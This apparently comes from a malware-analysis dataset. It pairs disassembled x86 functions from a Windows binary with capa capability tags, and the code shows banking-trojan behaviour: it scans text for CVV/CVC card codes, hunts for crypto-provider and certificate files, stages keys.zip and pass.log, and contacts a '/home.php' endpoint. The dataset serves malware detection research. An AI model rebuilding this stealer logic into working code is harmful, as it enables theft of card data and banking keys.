joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d920
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
cmp byte [0x1001fef8], 0
jne 0x1000d938
xor al, al
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push edi
push 0
push 2
push 0x1001c734
push esi
call ebx
mov edx, 0x100
lea ecx, [ebp - 0x104]
call fcn.1000d800
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 0
push 2
lea eax, [ebp - 0x104]
push eax
push esi
call edi
mov al, byte [ebp - 0x103]
mov byte [ebp - 1], al
test al, al
je 0x1000da38
cmp byte [ebp - 0x104], 1
jne 0x1000da38
push 0
movsx ecx, al
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
call edi
test eax, eax
jle 0x1000da38
movsx eax, byte [ebp - 1]
mov cl, byte [0x1001fef9]
push 0
push 1
lea edx, [ebp - 1]
push edx
push esi
mov byte [ebp + eax - 0x103], cl
call edi
test eax, eax
jle 0x1000da38
mov edx, 0x100
lea ecx, [ebp - 0x204]
call fcn.1000d800
movsx eax, byte [ebp - 1]
push 0
push eax
lea ecx, [ebp - 0x204]
push ecx
push esi
call edi
test eax, eax
jle 0x1000d9fb
movsx edx, byte [ebp - 1]
mov al, byte [0x1001fef9]
mov byte [ebp + edx - 0x204], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [ebp - 0x104]
push ecx
push 0x1001fa60
call edi
test eax, eax
jne 0x1000da38
lea edx, [ebp - 0x204]
push edx
push 0x1001f960
call edi
test eax, eax
jne 0x1000da38
push eax
push 2
push 0x1001c738
push esi
call ebx
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000df70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x1000dfe7
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.SoftwareMicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1000dfdc
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10020484
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x1000e03f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.SoftwareMicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x1000e036
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x10020484
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e050
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.SoftwareMicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x1000e0ba
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x10020484
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x1000e0c0
Capabilities:
Create thread
Delete file
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0
lea edx, [ebp - 0x310]
push edx
mov byte [ebp - 0x30d], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x1000e10b
mov ecx, 0xff00ff
mov eax, 0xc000c001
mul ecx
shr edx, 0xe
imul edx, edx, 0x5555
mov eax, 0x2710
sub eax, edx
add ecx, eax
mov dword [ebp - 4], ecx
call fcn.1000df70
test eax, eax
jne 0x1000e1e9
mov ecx, dword [ebp - 4]
push eax
push eax
push ecx
push 0x1000dd50
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000e152
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x414]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edx, dword [ebp - 4]
push edx
push str._53_59_53_54_45_4D_21_4A_4F_48_4E_44_45_41_43_46_43_35_37_41_33_21_42_46_34_42_43_45_32_34
push str.name_sport_u
lea eax, [ebp - 0x108]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea eax, [ebp - 0x108]
add esp, 0x14
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e1b0
sub eax, edx
push eax
lea ecx, [ebp - 0x20c]
push ecx
push str._home.php
call fcn.1000a050
push eax
lea eax, [ebp - 0x108]
call fcn.1000a120
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1000e050
mov esp, ebp
pop ebp
ret
Function at 0x1000e550
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
mov eax, 0x1001fb90
push 0x1001fb60
xor edi, edi
mov dword [0x1001fb94], eax
mov dword [0x1001fb90], eax
call esi
push 0x1001fb78
call esi
push 0x1000e240
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov dword [0x1001fefc], eax
test eax, eax
je 0x1000e5b5
push edi
push edi
push edi
push 0x1000e480
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000e5a8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
mov dword [0x1001ff00], eax
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x1000ebb0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [0x1001fb98], 0
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1000ecf2
mov eax, 2
cmp dword [ebp - 0x110], eax
jne 0x1000ecf2
mov cl, byte [ebp - 6]
cmp cl, 1
jne 0x1000ec56
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x1000ec36
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x1000ec2b
lea eax, [ecx + 1]
jmp 0x1000ec9a
cmp ecx, 1
je 0x1000ec9a
cmp ecx, eax
jne 0x1000ec95
jmp 0x1000ec9a
cmp ecx, 6
jne 0x1000ec95
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1000ec4a
lea eax, [ecx - 2]
jmp 0x1000ec9a
cmp eax, 1
jne 0x1000ec95
mov eax, 6
jmp 0x1000ec9a
cmp cl, al
je 0x1000ec5f
cmp cl, 3
jne 0x1000ec95
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x1000ec77
cmp dword [ebp - 0x118], eax
jne 0x1000ec95
lea eax, [ecx - 2]
jmp 0x1000ec9a
cmp ecx, 6
jne 0x1000ec95
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1000ec8b
lea eax, [ecx - 1]
jmp 0x1000ec9a
cmp eax, 1
mov eax, 7
je 0x1000ec9a
mov eax, dword [0x1001fb98]
lea edx, [eax + eax*4]
movzx eax, word [ebp - 0xc]
lea eax, [eax + edx*2]
lea ecx, [eax + eax*4]
add ecx, ecx
push str.kernel32.dll
mov dword [0x1001fb98], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1000ece6
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1000ece5
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop esi
cmp dword [ebp - 4], 0
je 0x1000ecf2
inc dword [0x1001fb98]
mov esp, ebp
pop ebp
ret
Function at 0x1000ed00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1000ed10
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1000ed10
push 0x10021ff0
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10021ff0
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ed34
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000ed46
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
cmp eax, 0x10
jne 0x1000edb3
lea eax, [ebp - 0x104]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ed80
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000f060
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1000f070
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1000f070
push 0x100220f4
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100220f4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000f094
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000f0a6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000f0c7
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
Function at 0x100114c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
lea edx, [ebp - 0x208]
add esp, 0xc
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x100114f4
cmp dword [0x1001ff14], 0
jne 0x10011707
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push edi
push str.self.cer
lea edx, [ebp - 0x208]
push edx
call esi
mov edi, eax
test edi, edi
jne 0x10011576
push str.crypto
lea eax, [ebp - 0x208]
push eax
call esi
mov edi, eax
test edi, edi
je 0x1001154e
push 0x1001cae0
add edi, 2
push edi
call esi
test eax, eax
jne 0x10011576
push 0x1001cae4
lea ecx, [ebp - 0x208]
push ecx
call esi
test eax, eax
jne 0x10011576
push str.public_
lea edx, [ebp - 0x208]
push edx
call esi
test eax, eax
je 0x10011706
push str.microscrypto_
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
jne 0x10011706
push str.maxthon3public_
lea ecx, [ebp - 0x208]
push ecx
call esi
test eax, eax
jne 0x10011706
push str.microsoftcrypto_
lea edx, [ebp - 0x208]
push edx
call esi
test eax, eax
jne 0x10011706
push str.crypto_pro_
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
jne 0x10011706
push str.progra1crypto1_
lea ecx, [ebp - 0x208]
push ecx
call esi
test eax, eax
jne 0x10011706
push str._temporary_internet_files_
lea edx, [ebp - 0x208]
push edx
call esi
test eax, eax
jne 0x10011706
push str.:userspublic
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
jne 0x10011706
push 0x1001cc18
lea ecx, [ebp - 0x208]
push ecx
call esi
test eax, eax
je 0x10011632
push 0x1001cae0
push eax
call esi
test eax, eax
jne 0x10011706
push str.cryptokit_
lea edx, [ebp - 0x208]
push edx
call esi
test eax, eax
jne 0x10011706
push str.:progra1common1crypto1
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
jne 0x10011706
test edi, edi
je 0x10011675
call fcn.100104f0
test eax, eax
je 0x10011675
mov dword [0x1001ff14], 1
push ebx
lea ecx, [ebp - 0x208]
push ecx
call fcn.1000e750
mov ebx, eax
test ebx, ebx
je 0x10011705
test edi, edi
jne 0x100116ae
push edi
push edi
push ebx
push 0x1000f990
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10011705
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x1001ff14], 0
je 0x10011705
push edi
call fcn.1000e750
mov esi, eax
test esi, esi
je 0x10011705
push 0x1001bda0
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
push eax
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x100116e1
mov byte [eax], 0
push 0
push 0
push ebx
push fcn.10010170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10011700
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.100098e0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011960
Capabilities:
Create thread

Disassembly:
test edi, edi
je 0x10011aab
mov eax, edi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011970
push 0
sub eax, edx
push eax
push edi
call fcn.1001ac10
cmp eax, dword [0x1002002c]
je 0x10011aab
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push esi
push 0x1001cc90
push edi
mov dword [0x1002002c], eax
call ebx
mov esi, eax
test esi, esi
je 0x100119b5
push str.cvv
push edi
call ebx
test eax, eax
je 0x100119f1
push 0x1001cca0
push edi
call ebx
mov esi, eax
test esi, esi
je 0x100119cf
push str.cvv2
push edi
call ebx
test eax, eax
je 0x100119f1
push 0x1001ccb0
push edi
call ebx
mov esi, eax
test esi, esi
je 0x10011aa9
push str.cvc
push edi
call ebx
test eax, eax
jne 0x10011aa9
push 0x1001ccc0
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10011aa9
mov cl, byte [eax + 1]
inc eax
cmp cl, 0x30
jl 0x10011aa9
cmp cl, 0x39
jg 0x10011aa9
mov cl, byte [eax + 1]
cmp cl, 0x30
jl 0x10011aa9
cmp cl, 0x39
jg 0x10011aa9
mov al, byte [eax + 2]
cmp al, 0x30
jl 0x10011aa9
cmp al, 0x39
jg 0x10011aa9
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011a40
sub eax, edx
lea esi, [eax + 1]
test esi, esi
je 0x10011aa9
add esi, 0x13
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x10011aa9
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov edx, ebx
add esp, 0xc
mov eax, edi
sub edx, edi
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10011a80
push 0
push 0
push ebx
push 0x10011ab0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10011aa9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
ret
Function at 0x100129e0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100129f0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100129f0
push 0x1002270c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1002270c
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012a14
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012a26
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012a47
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x10012a80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x1002013c], 0
push esi
mov esi, eax
je 0x10012a9c
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10012a95
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10012aa3
sub eax, edx
sar eax, 1
je 0x10012acb
lea ecx, [esi + eax*2 - 2]
movzx edx, word [ecx]
cmp edx, 0x5c
je 0x10012acb
cmp edx, 0x2f
je 0x10012acb
sub ecx, 2
dec eax
jne 0x10012ab8
push ebx
lea ebx, [esi + eax*2]
test ebx, ebx
jne 0x10012adb
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, 0xe
mov eax, str.private
mov ecx, ebx
push edi
jmp 0x10012af0
mov edi, dword [ecx]
cmp edi, dword [eax]
jne 0x10012bf3
sub edx, 4
add eax, 4
add ecx, 4
cmp edx, 4
jae 0x10012af0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012bf3
mov al, byte [eax + 1]
cmp al, byte [ecx + 1]
jne 0x10012bf3
call fcn.100129e0
test eax, eax
je 0x10012bf3
lea edx, [ebp - 0x208]
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x10012b35
lea eax, [ebp - 0x208]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10012b50
sub eax, edx
sar eax, 1
je 0x10012b7b
lea ecx, [ebp + eax*2 - 0x20a]
movzx edx, word [ecx]
cmp edx, 0x5c
je 0x10012b7b
cmp edx, 0x2f
je 0x10012b7b
sub ecx, 2
dec eax
jne 0x10012b68
lea edi, [ebp + eax*2 - 0x208]
mov eax, str.public
mov edx, edi
sub edx, eax
jmp 0x10012b90
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x10012b90
lea eax, [ebx + 0xe]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10012ba4
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10012bb4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10012bf3
pop edi
mov eax, 1
pop ebx
mov dword [0x1002013c], eax
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012e60
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
cmp dword [0x10020140], edi
jne 0x10012fa4
mov eax, dword [ebp + 8]
cmp eax, edi
je 0x10012fa4
push ebx
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
cmp ebx, edi
je 0x10012fae
lea eax, [ebx + ebx]
cmp eax, edi
je 0x10012ed4
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10012ed2
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor edi, edi
cmp esi, edi
je 0x10012f98
mov eax, dword [ebp + 8]
push edi
push edi
push ebx
push esi
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x104
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10012f78
push edi
push 0x80
push 3
push edi
push 3
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x10]
mov ebx, eax
push ecx
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [ebp - 0xc], edi
jl 0x10012f6c
jg 0x10012f36
cmp dword [ebp - 0x10], 4
jbe 0x10012f6c
push edi
lea edx, [ebp + 8]
push edx
push 4
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp + 8], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10012f6c
xor eax, eax
cmp dword [ebp - 8], 0x534b4269
sete al
mov dword [ebp - 4], eax
cmp eax, edi
je 0x10012f6c
mov dword [0x10020140], 1
cmp ebx, 0xffffffff
je 0x10012f78
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012f98
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x100134a0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x1f0001
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x100134e8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x1f0001
call edi
mov esi, eax
test esi, esi
je 0x100134d0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
push 0
push 0
push 0
push 0x100131d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10013526
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call edi
push 0x10022810
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.IBANK
push 0x10022810
call fcn.10009350
push 0x9c40
call ebx
call fcn.100134a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100138e0
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100138f0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100138f0
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x10022a18
call ebx
mov eax, 0x10022a18
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10013920
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013932
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10013a47
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013973
mov edx, dword [str.keys.zip]
mov ecx, dword [0x1001c864]
mov dword [eax], edx
mov dl, byte [0x1001c868]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1001aaf0
test eax, eax
je 0x10013a47
xor eax, eax
nop
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100139b0
push 0x10022a18
call ebx
mov eax, 0x10022a18
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100139d0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100139e2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013a00
mov edx, dword [str.path1.txt]
mov ecx, dword [0x1001ce1c]
mov esi, dword [ebp + 8]
mov dword [eax], edx
mov dx, word [0x1001ce20]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013a30
sub eax, edx
mov ebx, eax
push esi
lea eax, [ebp - 0x104]
call fcn.10003f60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4